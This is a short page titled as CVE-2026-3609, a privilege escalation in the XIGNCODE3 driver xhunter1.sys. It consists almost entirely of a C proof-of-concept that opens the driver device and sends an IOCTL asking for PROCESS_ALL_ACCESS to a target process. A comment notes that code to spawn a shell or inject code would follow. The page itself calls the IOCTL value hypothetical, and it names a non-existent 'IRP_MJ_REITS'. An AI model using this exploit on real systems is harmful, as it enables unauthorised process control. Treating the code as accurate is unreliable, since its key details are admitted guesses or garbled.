CVE-2026-3609: XIGNCODE3 xhunter1.sys权限提升漏洞

#include <windows.h> #include <stdio.h> // Conceptual Proof of Concept for CVE-2026-3609 // This code demonstrates how to interact with the vulnerable driver interface. #define DEVICE_NAME "\\\\.\\xhunter1" // IOCTL code corresponding to IRP_MJ_REITS functionality (Hypothetical value) #define VULNERABLE_IOCTL 0x222003 typedef struct _INPUT_BUFFER { DWORD pid; // Target Process ID DWORD access_mask; // Requested Access Mask (e.g., PROCESS_ALL_ACCESS) } INPUT_BUFFER, *PINPUT_BUFFER; int main() { HANDLE hDevice = INVALID_HANDLE_VALUE; BOOL bResult = FALSE; DWORD bytesReturned = 0; INPUT_BUFFER inputBuffer; // 1. Obtain a handle to the vulnerable device hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device %s. Error: %d\n", DEVICE_NAME, GetLastError()); return 1; } printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice); // 2. Prepare input buffer to request PROCESS_ALL_ACCESS // In a real scenario, this might target a critical system process inputBuffer.pid = GetCurrentProcessId(); // Example: Targeting self or another process inputBuffer.access_mask = PROCESS_ALL_ACCESS; // 3. Send the IOCTL to trigger the vulnerability printf("[+] Sending malicious IOCTL request...\n"); bResult = DeviceIoControl(hDevice, VULNERABLE_IOCTL, &inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL); if (bResult) { printf("[+] Exploit triggered! Process privileges should be escalated.\n"); // Further code to spawn a shell or inject code would go here } else { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }